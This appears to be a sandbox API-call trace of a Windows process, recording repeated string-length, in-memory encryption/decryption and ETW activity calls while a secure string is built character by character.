(param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\xf7f2\x375d\xcb44\x4ba3\x658a\xd8e5\xe3d5\xf93c") returned 0x20 [0128.265] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.265] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5Pᓺ楋䝵㑎") returned 0x20 [0128.265] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\xc539\x820e\xca16\x3662\x8999\xa6d7\x3265\x5fde") returned 0x20 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\xc539\x820e\xca16\x3662\x8999\xa6d7\x3265\x5fde") returned 0x20 [0128.266] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5Pe楋䝵㑎") returned 0x20 [0128.266] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x57d9\x8d46\x544\xcaab\xb549\x883c\x7de3\xbee8") returned 0x20 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x57d9\x8d46\x544\xcaab\xb549\x883c\x7de3\xbee8") returned 0x20 [0128.266] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeH䝵㑎") returned 0x20 [0128.266] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\xf0ed\x520d\x7bfb\xde37\x60a4\x88a2\x596c\x7607") returned 0x20 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\xf0ed\x520d\x7bfb\xde37\x60a4\x88a2\x596c\x7607") returned 0x20 [0128.266] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZ㑎") returned 0x20 [0128.266] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x947b\x18a9\x790e\x74bf\xffff\xe922\x72c9\xb0c9") returned 0x20 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x947b\x18a9\x790e\x74bf\xffff\xe922\x72c9\xb0c9") returned 0x20 [0128.266] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZS") returned 0x20 [0128.266] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.266] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61") returned 0x20 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61") returned 0x20 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61") returned 0x20 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61") returned 0x28 [0128.267] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.267] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSu妮ㇰ坠伎뉏嶲") returned 0x28 [0128.267] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x2649\x63f7\x56b5\xe21e\x6ff5\x1898\x3729\x7d2e") returned 0x28 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x2649\x63f7\x56b5\xe21e\x6ff5\x1898\x3729\x7d2e") returned 0x28 [0128.267] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.267] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuUㇰ坠伎뉏嶲") returned 0x28 [0128.267] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x939\x2685\x107a\xe52\x8351\xe523\x8989\x3720") returned 0x28 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x939\x2685\x107a\xe52\x8351\xe523\x8989\x3720") returned 0x28 [0128.267] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.267] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU3坠伎뉏嶲") returned 0x28 [0128.267] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x7720\x6663\x2d21\x672f\x32f2\xdb05\x2d1c\xf625") returned 0x28 [0128.267] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x7720\x6663\x2d21\x672f\x32f2\xdb05\x2d1c\xf625") returned 0x28 [0128.267] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.267] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35伎뉏嶲") returned 0x28 [0128.267] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x87b\xcd0f\xd8dc\x9f8a\xe8a0\x13b3\x246b\x9d62") returned 0x28 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x87b\xcd0f\xd8dc\x9f8a\xe8a0\x13b3\x246b\x9d62") returned 0x28 [0128.268] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35y뉏嶲") returned 0x28 [0128.268] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\xeddf\xb354\x9281\x79d2\x514e\xce91\xe4d9\x5744") returned 0x28 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\xeddf\xb354\x9281\x79d2\x514e\xce91\xe4d9\x5744") returned 0x28 [0128.268] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35yP嶲") returned 0x28 [0128.268] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x1ab9\x4983\xc21f\x89a\xc107\x8bff\x91d4\xa38a") returned 0x28 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x1ab9\x4983\xc21f\x89a\xc107\x8bff\x91d4\xa38a") returned 0x28 [0128.268] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35yPe嶲") returned 0x28 [0128.268] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x15b8\x5697\x14a1\xa37f\x46cb\xf0a5\x7cfb\xc1d1") returned 0x28 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x15b8\x5697\x14a1\xa37f\x46cb\xf0a5\x7cfb\xc1d1") returned 0x28 [0128.268] SystemFunction041 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35yPeB") returned 0x28 [0128.268] SystemFunction040 (in: Memory=0x8e7031c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7031c) returned 0x0 [0128.268] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2") returned 0x28 [0128.269] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2") returned 0x28 [0128.269] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2") returned 0x28 [0128.269] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2") returned 0x30 [0128.269] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.269] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35yPeBA↩ဿ…銄櫓") returned 0x30 [0128.269] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.269] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2\xdaf4\x113a\x5e0e\x2d13\xad5f\x22cd\xc097\xc583") returned 0x30 [0128.269] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2\xdaf4\x113a\x5e0e\x2d13\xad5f\x22cd\xc097\xc583") returned 0x30 [0128.269] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.269] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35yPeBAxဿ…銄櫓") returned 0x30 [0128.269] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.270] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2\xac00\xb654\x48aa\x622a\xcffd\x1331\x8771\xb03d") returned 0x30 [0128.270] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2\xac00\xb654\x48aa\x622a\xcffd\x1331\x8771\xb03d") returned 0x30 [0128.270] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.270] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35yPeBAxAဿ…銄櫓") returned 0x30 [0128.270] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.270] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2\x8433\x2ffa\x9b4a\x8b28\x5169\x4c61\xe314\x87ae") returned 0x30 [0128.270] SysStringLen (param_1="\xd79b\x53fd\x5cc7\xaae1\xb352\x2685\xa6ca\x39ab\xd190\x119a\x5176\x89e3\xb570\xdfad\x81f\x8c65\x2c93\x8746\xb0c7\x4e04\xd03a\x7dde\x28e\x49d\x51db\x5984\x42b8\x5666\x8bce\xa6da\x9937\x6d61\x6596\x2183\xafb5\x1139\xc445\xca1a\xd77f\xc9e2\x8433\x2ffa\x9b4a\x8b28\x5169\x4c61\xe314\x87ae") returned 0x30 [0128.270] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.270] SysStringLen (param_1="+NfFhwGkJajgFYD9w+zCvjnBab5PeHZSuU35yPeBAxA=…銄櫓") returned 0x30 [0128.270] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0128.270] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.270] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.270] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.271] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.271] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.271] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.271] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x60, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.271] SysStringLen (param_1="") returned 0x8 [0128.271] SysStringLen (param_1="Y") returned 0x8 [0128.271] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.271] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.271] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.271] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.271] SysStringLen (param_1="YW") returned 0x8 [0128.271] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.271] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.271] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.271] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="YWM") returned 0x8 [0128.272] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.272] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.272] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="YWM1") returned 0x8 [0128.272] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.272] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.272] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="YWM1O") returned 0x8 [0128.272] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.272] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.272] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="YWM1OT") returned 0x8 [0128.272] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.272] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.272] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.272] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.273] SysStringLen (param_1="YWM1OTE") returned 0x8 [0128.273] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.273] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.273] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.273] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.273] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0128.273] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.273] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 